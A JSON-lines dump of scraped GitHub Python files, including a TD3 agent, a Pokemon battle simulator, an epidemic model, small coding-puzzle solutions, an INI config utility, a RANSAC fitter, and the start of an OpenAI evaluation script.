\"actor\",chkpt_dir=chkpt_dir).to(self.device)\n \n self.critic_1 = CriticNetwork(self.input_dims, layer1_size, layer2_size, self.n_actions, name = \"critic_1\",chkpt_dir=chkpt_dir).to(self.device) \n \n \n self.critic_2 = CriticNetwork(self.input_dims, layer1_size, layer2_size, self.n_actions, name = \"critic_2\",chkpt_dir=chkpt_dir).to(self.device)\n \n self.actor.init_weights()\n \n self.critic_1.init_weights() \n \n self.critic_2.init_weights\n \n self.target_actor = ActorNetwork(self.input_dims, layer1_size, layer2_size, self.n_actions, name = \"target_actor\",chkpt_dir=chkpt_dir).to(self.device)\n \n self.target_critic_1 = CriticNetwork(self.input_dims, layer1_size, layer2_size, self.n_actions, name = \"target_critic_1\",chkpt_dir=chkpt_dir).to(self.device) \n \n self.target_critic_2 = CriticNetwork(self.input_dims, layer1_size, layer2_size, self.n_actions , name = \"target_critic_2\",chkpt_dir=chkpt_dir).to(self.device) \n \n self.actor_optimizer = optim.Adam(self.actor.parameters(),lr = actor_lr) \n \n self.critic_1_optimizer = optim.Adam(self.critic_1.parameters(),lr = critic_lr) \n \n self.critic_2_optimizer = optim.Adam(self.critic_2.parameters(),lr = critic_lr) \n \n self.target_noise = target_noise \n \n self.noise = noise \n \n \n self.update_network_parameters(tau=1) \n \n self.freeze_target_parameters()\n \n def freeze_target_parameters(self): \n \n for p in self.target_actor.parameters():\n \n p.requires_grad = False \n \n for p in self.target_critic_1.parameters(): \n \n p.requires_grad = False \n \n for p in self.target_critic_2.parameters(): \n \n p.requires_grad = False \n \n \n def choose_action(self, observation, expl_noise,test=False): \n \n #if self.time_step < self.warmup: \n if (self.time_step < self.warmup and (not test)): \n \n mu = T.tensor(np.random.normal(scale = expl_noise, size = (self.n_actions,)))\n \n else: \n if(self.time_step ==self.warmup):\n print(\"End of warmup\")\n \n self.actor.eval()\n \n state = T.tensor(observation, dtype = T.float).to(self.device)\n \n with T.no_grad():\n \n mu = self.actor.forward(state).to(self.device) \n \n #mu = mu +T.tensor(np.random.normal(scale = self.noise), dtype = T.float).to(self.device) \n \n mu = mu +T.tensor(np.random.normal(0, self.max_action*expl_noise,size=self.n_actions), dtype = T.float).to(self.device) \n \n #we have to climp to make sure that the actions are in the right boundaries, because adding the noise \n #this can not be true \n \n mu_prime = T.clamp(mu, self.min_action, self.max_action)\n \n self.time_step +=1 \n \n return mu_prime.cpu().detach().numpy()\n \n \n def store_transition(self, state, action, reward, new_state, done): \n \n self.memory.store_transition(state, action, reward, new_state, done) \n \n def train(self): \n \n if self.memory.mem_cntr < self.batch_size: \n \n return \n self.critic_1_optimizer.zero_grad() \n \n self.critic_2_optimizer.zero_grad() \n \n state, action, reward, new_state, done = self.memory.sample_buffer(self.batch_size) \n \n reward = T.tensor(reward, dtype= T.float).to(self.device) #è sempre lo stesso device quindi non cambia nulla\n \n done = T.tensor(done).to(self.device) \n \n state = T.tensor(state, dtype= T.float).to(self.device) \n \n action = T.tensor(action, dtype= T.float).to(self.device) \n \n state_ = T.tensor(new_state, dtype= T.float).to(self.device) \n \n with T.no_grad():\n target_actions = self.target_actor.forward(state_) \n \n noise = T.clamp(T.randn_like(action)*self.target_noise*self.max_action,self.target_noise*self.min_action,self.target_noise*self.max_action)\n \n \n \n target_actions = target_actions + noise\n \n target_actions = T.clamp(target_actions, self.min_action, self.max_action) \n \n Q_tc1 = self.target_critic_1.forward(state_,target_actions) \n \n Q_tc2 = self.target_critic_2.forward(state_,target_actions) \n \n Q1 = self.critic_1.forward(state,action) \n \n Q2 = self.critic_2.forward(state,action) \n \n Q_tc1[done] = 0.0 \n \n Q_tc2[done] = 0.0 \n \n Q_tc1= Q_tc1.view(-1) \n \n Q_tc2 = Q_tc2.view(-1) \n \n critic_target_value = T.min(Q_tc1,Q_tc2) \n \n target = reward +self.gamma*critic_target_value\n \n target = target.view(self.batch_size,1) \n \n #self.critic_1_optimizer.zero_grad() \n \n #self.critic_2_optimizer.zero_grad() \n \n q1_loss = F.mse_loss(Q1,target) \n \n q2_loss = F.mse_loss(Q2,target) \n \n critic_loss = q1_loss + q2_loss \n \n critic_loss.backward() \n \n self.critic_1_optimizer.step() \n \n self.critic_2_optimizer.step() \n \n self.learn_step_cntr +=1 \n \n #update actor \n \n if self.learn_step_cntr % self.update_actor_iter != 0: \n \n return \n self.actor.train() \n \n self.actor_optimizer.zero_grad() \n \n actor_q1_loss = self.critic_1.forward(state, self.actor.forward(state))\n\n actor_loss = -T.mean(actor_q1_loss) \n \n actor_loss.backward() \n \n self.actor_optimizer.step() \n \n self.actor.eval()\n \n self.update_network_parameters() \n \n def update_network_parameters(self, tau = None): \n \n if tau is None: \n \n tau = self.tau\n \n actor_params = self.actor.named_parameters() \n \n critic_1_params = self.critic_1.named_parameters()\n \n critic_2_params = self.critic_2.named_parameters()\n \n \n target_actor_params = self.target_actor.named_parameters()\n \n target_critic_1_params = self.target_critic_1.named_parameters()\n \n target_critic_2_params = self.target_critic_2.named_parameters()\n \n\n critic_1 = dict(critic_1_params)\n \n critic_2 = dict(critic_2_params)\n \n actor = dict(actor_params)\n \n # target_critic_dict = dict(target_critic_params)\n target_actor = dict(target_actor_params)\n \n target_critic_1 = dict(target_critic_1_params)\n \n target_critic_2 = dict(target_critic_2_params)\n \n \n \n for name in critic_1:\n critic_1[name] = tau*critic_1[name].clone()+ \\\n (1-tau)*target_critic_1[name].clone()\n\n self.target_critic_1.load_state_dict(critic_1)\n \n for name in critic_2:\n critic_2[name] = tau*critic_2[name].clone()+ \\\n (1-tau)*target_critic_2[name].clone()\n\n self.target_critic_2.load_state_dict(critic_2)\n \n \n for name in actor:\n actor[name] = tau*actor[name].clone()+ \\\n (1-tau)*target_actor[name].clone()\n \n self.target_actor.load_state_dict(actor)\n \n \n def save_models(self): \n \n self.actor.save_checkpoint()\n \n self.target_actor.save_checkpoint()\n \n self.critic_1.save_checkpoint()\n \n self.critic_2.save_checkpoint()\n \n self.target_critic_1.save_checkpoint()\n \n self.target_critic_2.save_checkpoint()\n \n \n def load_models(self): \n \n self.actor.load_checkpoint()\n \n self.target_actor.load_checkpoint()\n \n self.critic_1.load_checkpoint()\n \n self.critic_2.load_checkpoint()\n \n self.target_critic_1.load_checkpoint()\n \n self.target_critic_2.load_checkpoint()\n \n\n def load_actor(self): \n \n self.actor.load_checkpoint()\n \n \n \n \n \n \n\n","repo_name":"mariagraziaberni/CPS","sub_path":"agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":17011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7604502671","text":"import random\n\nimport src.main.python.battle_simulation.constants as const\nfrom src.main.python.battle_simulation.battle_common import battle_log_msg, BattleError\n\n\nclass Pokemon:\n\n def __init__(self, name, pokemon_info_df, moveset, status_effect_df):\n \"\"\"\n Args:\n name: <float> Pokemon name\n pokemon_info_df: <pd.DataFrame> containing the Pokemon base stat information\n moveset: <dict> of the moveset, can only contain damage causing moves currently. 4 moves max.\n\n Example of moveset dict:\n {1: {'Confusion': {const.POW: 50, const.ACC: 100}}, 2: {'Pound': {const.POW: 40, const.ACC: 100}},\n 3: {'Mega Punch': {const.POW: 80, const.ACC: 85}}, 4: {'Psychic': {const.POW: 90, const.ACC: 100}}}\n \"\"\"\n self.name = name\n self.hp = pokemon_info_df.loc[name, const.HP]\n self.max_hp = self.hp\n self.attack = pokemon_info_df.loc[name, const.ATTACK]\n self.defense = pokemon_info_df.loc[name, const.DEFENSE]\n self.speed = pokemon_info_df.loc[name, const.SPEED]\n self.moveset = moveset\n self.status_effect = None\n self.status_effect_turn = 0\n self.status_effect_info = status_effect_df\n\n # Check that moveset has exactly 4 moves\n if len(self.moveset.keys()) != 4:\n raise Exception('{name} moveset does not contain 4 moves.'.format(name=self.name))\n\n def __repr__(self):\n \"\"\"\n Control the to-string conversion\n \"\"\"\n return f'{self.__class__.__name__}({self.name!r})'\n\n def apply_status_effect(self, other_pokemon):\n \"\"\"\n Apply existing status effect on current pokemon.\n\n Args:\n other_pokemon: <Pokemon> that current is battling against. Needed for the leech seed effect.\n \"\"\"\n # Can only be inflicted by 1 effect at a time\n # If effected with inf length status condition, cannot be affected with new condition\n\n min_turn = self.status_effect_info.loc[self.status_effect, const.MIN_TURN]\n max_turn = self.status_effect_info.loc[self.status_effect, const.MAX_TURN]\n\n if (min_turn == 'inf' and max_turn != 'inf') or (min_turn != 'inf' and max_turn == 'inf'):\n raise Exception(\"Max and min turn inputs either need to be both 'inf' or neither 'inf'\")\n\n if self.status_effect_turn == max_turn:\n battle_log_msg('{name} recovered from {status_name}'.format(name=self.name, status_name=self.status_effect))\n self.status_effect = None\n self.status_effect_turn = 0\n return\n\n if self.status_effect not in [const.FROZEN, const.PARALYZED]: # logging handled during move use for these ones\n battle_log_msg('{name} is {status_name}'.format(name=self.name, status_name=self.status_effect))\n\n effect_1 = self.status_effect_info.loc[self.status_effect, const.EFFECT_1]\n effect_2 = self.status_effect_info.loc[self.status_effect, const.EFFECT_2]\n\n effect_1 = effect_1.split('_') if isinstance(effect_1, str) else effect_1\n effect_2 = effect_2.split('_') if isinstance(effect_2, str) else effect_2\n\n damage_from_effect = 0\n\n # dictionary value False if the effect is handled elsewhere (not in this function)\n status_effect_dict = {const.ATTACK: self.base_attack_speed_stat_status_effect,\n const.SPEED: self.base_attack_speed_stat_status_effect,\n const.DAMAGE_PERC_MAX_HP: self.damage_max_hp_percent_status_effect,\n const.DAMAGE_CHANCE: self.damage_chance_status_effect,\n const.DAMAGE_PERC_MAX_HP_INC: self.damage_max_hp_percent_increasing_status_effect,\n const.OPP_HP_GAIN: self.opponent_gains_hp_status_effect,\n const.SKIP_TURN: False}\n\n for effect in [effect_1, effect_2]:\n if not isinstance(effect, list): # np.NaN value\n continue\n else:\n effect[-1] = float(effect[-1])\n\n status_effect_call = status_effect_dict.get(effect[0])\n\n if status_effect_call is None:\n raise NotImplemented\n elif status_effect_call is False:\n pass # handled separately outside of this function\n elif effect[0] == const.OPP_HP_GAIN:\n status_effect_call(other_pokemon, damage_from_effect)\n elif effect[0] in [const.ATTACK, const.SPEED]: # affects base stats\n # only apply the first time that the status effect takes place\n if self.status_effect_turn == 1:\n status_effect_call(effect)\n else:\n status_effect_call(effect)\n\n if damage_from_effect != 0:\n battle_log_msg('{name} is {status_name} and lost {damage} HP.'.format(name=self.name,\n status_name=self.status_effect,\n damage=damage_from_effect))\n\n def base_attack_speed_stat_status_effect(self, effect):\n \"\"\"\n Applies the status decrease to either speed or attack base stats\n Args:\n effect: <list> [base stat to apply to, percentage decrease of base stat to apply]\n data types are [<str>, <float>]\n \"\"\"\n self.attack *= (effect[-1] / 100) if effect[0] == const.ATTACK else self.attack\n self.speed *= (effect[-1] / 100) if effect[0] == const.SPEED else self.speed\n\n def damage_max_hp_percent_status_effect(self, effect):\n \"\"\"\n Applies percentage of max hp decrease on current hp\n Args:\n effect: <list> [const.DAMAGE_PERC_MAX_HP <str>, percentage to decrease hp by <float>]\n \"\"\"\n damage_from_effect = (self.max_hp * (effect[-1] / 100))\n self.hp -= damage_from_effect\n\n def damage_chance_status_effect(self, effect):\n \"\"\"\n Applies 10% max hp decrease on current hp depending on the chance to apply damage given\n Args:\n effect: <list> [const.DAMAGE_CHANCE <str>, chance of self-inflicting damage <float>]\n \"\"\"\n # assume self-inflicted damage is 10% of max HP\n if random.randrange(0, 100) < effect[-1]:\n damage_from_effect = self.max_hp * 0.1\n self.hp -= damage_from_effect\n\n def damage_max_hp_percent_increasing_status_effect(self, effect):\n \"\"\"\n Applies percentage of max hp damage to current hp. Each turn the applied damage increases by this amount too.\n Args:\n effect: <list> [const.DAMAGE_PERC_MAX_HP_INC <str>, percentage to decrease hp by <float>]\n \"\"\"\n # amount increases per turn that it is in effect\n damage_from_effect = (self.max_hp * (effect[-1] / 100) * self.status_effect_turn)\n self.hp -= damage_from_effect\n\n def opponent_gains_hp_status_effect(self, other_pokemon, damage_from_effect):\n \"\"\"\n Applies increase to opponent pokemon HP\n Args:\n other_pokemon: <Pokemon> Opponent pokemon to apply HP increase to\n damage_from_effect: <float> amount of HP to increase opponent HP by\n \"\"\"\n other_pokemon.hp += damage_from_effect\n # also involves logging message\n battle_log_msg(\n '{name} is effected by {status_name}. {other_pokemon} gained {hp} HP'.format(name=self.name,\n status_name=self.status_effect,\n other_pokemon=other_pokemon.name,\n hp=damage_from_effect))\n\n # todo add ability and effects to use status changing moves\n def take_damage(self, other_pokemon, move_damage):\n \"\"\"\n Current Pokemon takes damage from an opposing one\n Assume damage initially set to 100 with contributions from current Pokemon's defense and opposing one's attack\n\n Args:\n other_pokemon: <Pokemon> Pokemon that is inflicting damage on current one\n move_damage: <int> Power factor of the move that the other Pokemon is using to inflict damage on current one\n \"\"\"\n\n # assume equal contributions\n # from move power: 0.5 * (move_power/100) * 100\n damage = max((0.5 * move_damage) + (0.5 * (other_pokemon.attack - self.defense)),\n 0) # Needs to be positive damage\n\n self.hp = max(self.hp - damage, 0)\n\n if self.hp == 0:\n battle_log_msg('{name} has fainted.'.format(name=self.name))\n battle_log_msg('{other_name} is the winner.'.format(other_name=other_pokemon.name))\n else:\n battle_log_msg('{name} HP is now {hp}.'.format(name=self.name, hp=self.hp))\n\n def use_move(self, other_pokemon, chosen_move=False):\n \"\"\"\n Args:\n other_pokemon: <Pokemon> to use the move against\n chosen_move: <int> overwrites the move choice to use. If False, randomly select a move in the moveset. \n \"\"\"\n # Apply status condition at the beginning of the current turn\n if self.status_effect is not None:\n self.status_effect_turn += 1\n self.apply_status_effect(other_pokemon)\n\n # Assume that move accuracy is capped at 100%\n # choose random move to use unless chosen_move specified\n\n if chosen_move:\n if chosen_move not in range(1, 5):\n raise BattleError('Chosen move must be 1, 2, 3, or 4')\n move_dict = self.moveset[str(chosen_move)]\n else:\n move_dict = self.moveset[str(random.randint(1, 4))] # {'Confusion': {'power':50, 'accuracy':100}}\n\n move_name = list(move_dict.keys())[0]\n battle_log_msg('{name} used {move_name}!'.format(name=self.name, move_name=move_name))\n\n skip_chance_from_status = False\n if self.status_effect in [const.FROZEN, const.PARALYZED]: # Skip turn effects\n battle_log_msg('{name} is {status_name}'.format(name=self.name, status_name=self.status_effect))\n skip_chance_from_status = int(\n self.status_effect_info.loc[self.status_effect, const.EFFECT_1].split('_')[-1])\n if skip_chance_from_status == 100:\n battle_log_msg('{name} could not move from being {status_name}!'.format(name=self.name,\n status_name=self.status_effect))\n return\n\n if skip_chance_from_status:\n if random.randrange(0, 100) < skip_chance_from_status:\n battle_log_msg('{name} could not move from being {status_name}!'.format(name=self.name,\n status_name=self.status_effect))\n return\n\n # Assume that move accuracy is capped at 100%\n # Apply relevant status effect on other pokemon if applicable\n if move_dict[move_name][const.ACC] == 100:\n if move_dict[move_name][const.STATUS_EFFECT]: # apply status effect moves\n if other_pokemon.status_effect is None: # only allow one status effect at a time\n other_pokemon.status_effect = move_dict[move_name][const.STATUS_EFFECT]\n else:\n battle_log_msg('{name} is already {status_name}!'.format(name=other_pokemon.name,\n status_name=other_pokemon.status_effect))\n\n else:\n other_pokemon.take_damage(self, move_dict[move_name][const.POW])\n else:\n if random.randrange(0, 100) < move_dict[move_name][const.ACC]:\n if move_dict[move_name][const.STATUS_EFFECT]:\n if other_pokemon.status_effect is None:\n other_pokemon.status_effect = move_dict[move_name][const.STATUS_EFFECT]\n else:\n battle_log_msg('{name} is already {status_name}!'.format(name=other_pokemon.name,\n status_name=other_pokemon.status_effect))\n\n else:\n other_pokemon.take_damage(self, move_dict[move_name][const.POW])\n else:\n battle_log_msg('{name} missed.'.format(name=self.name))\n","repo_name":"MichelleChung-code/PokemonAdventures","sub_path":"src/main/python/battle_simulation/Pokemon.py","file_name":"Pokemon.py","file_ext":"py","file_size_in_byte":12672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"42190021023","text":"import logging\nimport copy\nimport numpy as np\n\nfrom yacomo.util import log_error, log_warn, log_debug, log_verbose, log_info, is_debug\n\n\nclass Simulator:\n pass\n\nclass Predictor: \n def __init__(self, simulator, **kwargs):\n self._simulator = copy.deepcopy(simulator)\n self._simulator.set_parameters(**kwargs)\n\n @staticmethod\n def from_parameters(parameters):\n return Predictor(SimAntelope(parameters['fixed']), **parameters['learned'])\n\n def run(self, n_days):\n return self._simulator.run(n_days)\n\n def parameters(self):\n return self._simulator.parameters()\n\nclass SimAntelope:\n\n def __init__(self, config):\n self._smoothing_window_size = config['smoothing_window_size']\n self._days_to_death = config['days_to_death']\n self._days_contagious = config['days_contagious']\n\n def set_parameters(self,\n r0_before,\n day_sd_start,\n r0_after,\n day_first_goner,\n sigmoid_param):\n \n # Parameters to model R0\n self._r0_before = r0_before\n self._day_sd_start = day_sd_start\n self._r0_after = r0_after\n self._sigmoid_param = sigmoid_param\n\n # Other simulator parameters\n self._day_first_goner = day_first_goner + 0.001\n\n def parameters(self):\n params = {\n 'fixed': {\n 'smoothing_window_size': self._smoothing_window_size,\n 'days_to_death': self._days_to_death,\n 'days_contagious': self._days_contagious\n },\n 'learned': {\n 'r0_before': self._r0_before,\n 'day_sd_start': self._day_sd_start,\n 'r0_after': self._r0_after,\n 'sigmoid_param': self._sigmoid_param,\n 'day_first_goner': self._day_first_goner\n }\n }\n return params\n \n def _compute_r0(self, n_days):\n day = np.arange(-self._day_sd_start, n_days - self._day_sd_start)\n sigmoid = -1/(1 + np.exp(-self._sigmoid_param * day)) * (self._r0_before - self._r0_after) + self._r0_before\n r0 = sigmoid\n return r0\n \n def run(self, n_days):\n r0 = self._compute_r0(n_days)\n\n daily_goners = [0.0]*n_days\n \n # Smooth initial goner day\n first_goner_day = self._day_first_goner - self._days_contagious/2.0\n for delta in range(0, self._days_contagious):\n day = first_goner_day + delta\n\n day_floor = int(np.floor(day))\n day_ceil = int(np.ceil(day))\n\n left_frac = day - day_floor\n right_frac = day_ceil - day\n\n daily_goners[day_floor] += left_frac/self._days_contagious\n daily_goners[day_ceil] += right_frac/self._days_contagious\n\n # Run simulation\n for day in range(0, n_days):\n for c in range(1, self._days_contagious + 1):\n if day + c >= n_days:\n break\n daily_goners[day + c] += r0[day]*daily_goners[day]/self._days_contagious\n\n # TODO: Fencepost error?\n daily_deaths = [0.0]*(self._days_to_death + self._smoothing_window_size)\n daily_deaths.extend(daily_goners)\n daily_deaths = daily_deaths[:n_days]\n\n return daily_deaths\n\n","repo_name":"epusateri/yacomo","sub_path":"yacomo/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21436547282","text":"import sys\r\nfrom pprint import pprint\r\ninput = sys.stdin.readline\r\n\r\na, b = map(str, input().split())\r\ncnt = 0\r\n\r\nwhile True:\r\n if b[-1] == '1':\r\n b = b[:-1]\r\n cnt += 1\r\n elif not int(b[-1]) % 2: #짝수\r\n b = str(int(b) // 2)\r\n cnt += 1\r\n elif int(b[-1]) % 2: # 홀수\r\n if a != b:\r\n cnt = -1\r\n break\r\n if int(a) > int(b):\r\n cnt = -1\r\n break\r\n if int(a) == int(b):\r\n cnt += 1\r\n break\r\nprint(cnt)","repo_name":"kimdakyeom/coding_test","sub_path":"백준/Silver/16953. A → B/A → B.py","file_name":"A → B.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37898128590","text":"#122. Best Time to Buy and Sell Stock II, Time - O(n)\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n dif = []\n n = len(prices)\n for i in range(0,n-1):\n dif.append(prices[i+1] - prices[i])\n dp = [0] * (n+1)\n dp1 = [0] * (n+1)\n for i in range(n-1):\n dp[i] = dif[i] + max(dp[i-1],dp1[i-2])\n dp1[i] = max(dp[i],dp1[i-1])\n return dp1[-3]\n","repo_name":"asrini56/LeetCode","sub_path":"BestTimetoBuyandSellStock2.py","file_name":"BestTimetoBuyandSellStock2.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"42098547574","text":"\"\"\"\n@brief INI config utilities\n@made hbesthee@naver.com\n@date 2022-09-30\n\"\"\"\n\nfrom configparser import ConfigParser\nfrom os import getcwd, rename, path, remove\nfrom shutil import copyfile\nfrom time import localtime, strftime\n# from varname import nameof\n\n\nclass IniConfigSection:\n\t\"\"\" IniConfigBase 섹션을 위한 클래스 \"\"\"\n\t_section_name = ''\n\n\tdef __init__(self, section_name = '') -> None:\n\t\tself._section_name = section_name\n\n\ndef _load_attribute(config, section, defaults):\n\t\"\"\" 주어진 config 객에서 section 객체의 속성(attribute)을 읽어 옵니다. \"\"\"\n\tfor class_variable_name in section.__dict__.keys():\n\t\tif ( class_variable_name.startswith('_') or class_variable_name.startswith('__') ):\n\t\t\tcontinue # private, protected 멤버 변수는 제외함\n\n\t\t_attr = object.__getattribute__(section, class_variable_name)\n\t\tif (type(_attr) == IniConfigSection): # 섹션에 대한 처리\n\t\t\t_load_attribute(config, _attr)\n\t\telse:\n\t\t\tobject.__setattr__(section, class_variable_name, defaults.get(class_variable_name))\n\n\nclass IniConfig:\n\t\"\"\" 환경설정값 관리 기본 클래스 \n\t\tExample:\n\t\t\tdefaults = { 'GENERAL': { 'a': 1, 'b': 2}, 'DATA': { 'aa': '1', 'bb': '2'}}\n\t\t\tini = IniConfigBase('/opt/my_config.ini', defaults)\n\t\"\"\"\n\n\tdef __init__(self, ini_file_name, defaults = None) -> None:\n\t\tself._ini_file_name = ini_file_name\n\t\tself._is_modified = False # 환경설정 변경 여부\n\t\tself._load_from_dict(defaults) # 기본값 데이터 설정 & 멤버 변수 구성\n\t\tpass\n\n\n\tdef _load_from_dict(self, defaults) -> None:\n\t\t\"\"\" defaults로 받은 데이터로 obj 객체 멤버 변수들 구성하기 \"\"\"\n\t\tself._defaults = defaults\n\t\tfor key, value in defaults.items():\n\t\t\tif (type(value) == dict): # 섹션 처리\n\t\t\t\tsection = IniConfigSection(key)\n\t\t\t\tfor s_key, s_value in value.items(): # 섹션내 항목 처리\n\t\t\t\t\tobject.__setattr__(section, s_key, s_value)\n\t\t\t\tobject.__setattr__(self, key, section)\n\n\n\tdef _load(self, config) -> None:\n\t\t\"\"\" 지정한 configParser 객체로부터 설정값을 자동으로 읽어 옵니다. self._default_section_name = 'GENERAL' 섹션의 값들은 객체의 속성으로 읽어들입니다.\n\t\t\t속성에 해당하는 설정이 없으면,\n\t\t\tself.__defaults에 지정된 값으로 기본값을 할당합니다.\n\t\t\tself.__defaults에 아무런 값도 지정되어 있지 않으면 멤버 변수들은 모두 None로 초기화됩니다.\n\t\t\t@param config configParser 객체\n\t\t\"\"\"\n\t\tif (type(config) != ConfigParser):\n\t\t\treturn\n\n\t\tfor section_name, section in self.__dict__.items():\n\t\t\tif ( section_name.startswith('_') or section_name.startswith('__') ):\n\t\t\t\tcontinue # private, protected 멤버 변수는 제외함\n\n\t\t\tif (type(section) == IniConfigSection):\n\t\t\t\tfor key in section.__dict__.keys():\n\t\t\t\t\t# 멤버 변수를 환경설정에서 읽어 들인 값으로 할당\n\t\t\t\t\tif (config.has_option(section_name, key)):\n\t\t\t\t\t\tvalue = config.get(section_name, key)\n\t\t\t\t\t\tobject.__setattr__(section, key, value)\n\n\t\tself._is_modified = False\n\n\n\tdef load(self, ini_file_name = None) -> None:\n\t\t\"\"\" 지정한 INI 파일로부터 설정값을 읽어 옵니다.\n\t\t\t파일이 없거나 속성에 해당하는 설정이 없으면,\n\t\t\tself.__defaults에 지정된 값으로 기본값을 할당합니다.\n\t\t\tself.__defaults에 아무런 값도 지정되어 있지 않으면 멤버 변수들은 모두 None로 초기화됩니다.\n\t\t\"\"\"\n\t\tif (ini_file_name == None):\n\t\t\tini_file_name = self._ini_file_name\n\n\t\tconfig = ConfigParser()\n\t\tconfig.read(ini_file_name, encoding = \"UTF-8\")\n\n\t\tself._load(config)\n\n\n\tdef _save(self, config) -> None:\n\t\t\"\"\" 현재 설정 정보를 저장합니다.\n\t\t\t\t\t@param config configParser 객체\n\t\t\"\"\"\n\t\tif (type(config) != ConfigParser):\n\t\t\treturn\n\n\t\tfor section_name, section in self.__dict__.items():\n\t\t\tif ( section_name.startswith('_') or section_name.startswith('__') ):\n\t\t\t\tcontinue # private, protected 멤버 변수는 제외함\n\n\t\t\tif (type(section) == IniConfigSection):\n\t\t\t\tif (not config.has_section(section_name)):\n\t\t\t\t\tconfig.add_section(section_name)\n\t\t\t\tfor key, value in section.__dict__.items():\n\t\t\t\t\tif ( key.startswith('_') or key.startswith('__') ):\n\t\t\t\t\t\tcontinue # private, protected 멤버 변수는 제외함\n\t\t\t\t\ttry:\n\t\t\t\t\t\tstr_value = f'{value}'\n\t\t\t\t\texcept:\n\t\t\t\t\t\tstr_value = None\n\t\t\t\t\tconfig.set(section_name, key, str_value)\n\n\t\tself._is_modified = False\n\n\n\tdef save(self, ini_file_name = None, is_backup = True) -> None:\n\t\t\"\"\" 현재 설정 정보를 저장합니다.\n\t\tis_backup 설정이 되어 있으면 기존 설정 파일을 현재시각 정보로 백업합니다. \"\"\"\n\t\tif (ini_file_name == None):\n\t\t\tini_file_name = self._ini_file_name\n\n\t\tsurfix = strftime('%Y%m%d_%I%M%S', localtime())\n\t\tbackup_ini_file_name = f'{ini_file_name}.{surfix}'\n\t\tif (path.exists(backup_ini_file_name)):\n\t\t\tremove(ini_file_name)\n\n\t\tconfig = ConfigParser()\n\t\twith open(backup_ini_file_name, 'w') as configfile:\n\t\t\tself._save(config)\n\t\t\tconfig.write(configfile)\n\t\t\tconfigfile.close()\n\n\t\tif (is_backup):\n\t\t\tcopyfile(backup_ini_file_name, ini_file_name)\n\t\telse:\n\t\t\trename(backup_ini_file_name, ini_file_name)\n\n\nif (__name__ == '__main__'):\n\n\tdefaults = {\n\t\t\t'GENERAL': {'left': 100, 'top': 200, 'width': 640, 'height': 480}\n\t\t\t, 'RECT': {'r1':'10, 20, 30, 40'}\n\t}\n\tmy_config = IniConfig('my.ini', defaults)\n\n\tmy_config.load()\n\tprint(my_config.GENERAL.left, my_config.GENERAL.top, my_config.GENERAL.width, my_config.GENERAL.height)\n\tmy_config.GENERAL.left = str(int(my_config.GENERAL.left) + 10)\n\tmy_config.save()\n\tprint(type(my_config.RECT.r1), my_config.RECT.r1)\n\t\n","repo_name":"hanwhhanwh/python-test","sub_path":"general/class/config_utils.py","file_name":"config_utils.py","file_ext":"py","file_size_in_byte":5570,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"4888466162","text":"## author: xin luo \n# creat: 2023.5.14; # modify: 2023.6.25\n# des: linear fitting with ransac algorithm.\n\n\nimport numpy as np\nfrom sklearn import linear_model\n\ndef ransac_fitting(x, y, thre_mask):\n '''\n input:\n x,y: 1-dimension, np.array()\n thre_mask: float, filter threshold for masking the outlier values of the output filtered y. \n return: \n y_filter: the filtered y\n y_ransac_fit: ransac fitting y\n ransac_coef: ransac fitting coefficient.\n '''\n x_new = x[~np.isnan(y)]\n y_new = y[~np.isnan(y)]\n if len(y_new) > 1:\n ransac = linear_model.RANSACRegressor(random_state=42)\n x = np.array(x)[:, np.newaxis]\n x_new = np.array(x_new)[:, np.newaxis]\n ransac.fit(x_new, y_new)\n y_ransac_fit = ransac.predict(x)\n dif_y = np.array(abs(np.nan_to_num(y) - y_ransac_fit))\n y_filter = np.where(dif_y>thre_mask, np.nan, y)\n ransac_coef = ransac.estimator_.coef_[0]\n else: \n y_filter, y_ransac_fit, ransac_coef = np.nan, np.nan, np.nan\n return y_filter, y_ransac_fit, ransac_coef\n\n\n","repo_name":"xinluo2018/Glacier-in-SETP","sub_path":"utils/ransac_fitting.py","file_name":"ransac_fitting.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"30530775539","text":"import argparse\nimport openai\nimport json\nimport random\nrandom.seed(299)\nfrom sklearn.metrics import accuracy_score\nimport backoff\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model', required=True, type=str, help='Either davinci or chatgpt.')\nparser.add_argument('--key', default='harry_ccbft', type=str, help='The name of the OpenAI API key file.')\nparser.add_argument('--seed', default='', type=str, help='Random seed.')\nparser.add_argument('--split', default='dev', type=str, help='The split to evaluate on.')\n\nargs = parser.parse_args()\nopenai.api_key = open(f'../../_private/{args.key}.key').read()\nif args.seed:\n random.seed(int(args.seed[1:]))\n\ndef parse_data(split):\n parsed_examples = []\n with open(f'../data/{split}-ranked.json') as f:\n for id, proc in json.load(f).items():\n goal = proc[\"goal\"]\n steps = proc[\"steps\"]\n states = proc[\"states\"]\n gold_step_entities_attributes = {f\"step{i}\": {} for i in range(1,len(steps)+1)}\n for state in states:\n entity = state[\"entity\"]\n for step, answer in state[\"answers\"].items():\n if answer:\n gold_step_entities_attributes[step][entity] = []\n for att in answer:\n gold_step_entities_attributes[step][entity].append((att[\"attribute\"], att[\"before\"], att[\"after\"]))\n parsed_examples.append({\n \"id\": id,\n \"goal\": goal,\n \"steps\": steps,\n \"gold_step_entities_attributes\": gold_step_entities_attributes,\n })\n #print(parsed_examples[0])\n return parsed_examples\n\ndef apply_fewshot_template_2(examples):\n template = \"\"\n for example in examples:\n template += f\"\"\"A person's goal is to {example[\"goal\"].lower()}.\nFor each of the steps, list all the state changes of involved entities and attributes.\n\"\"\"\n for i, (step, e_a) in enumerate(example[\"gold_step_entities_attributes\"].items()):\n template += f\"Step: {example['steps'][i]}\"\n for entity, attributes in 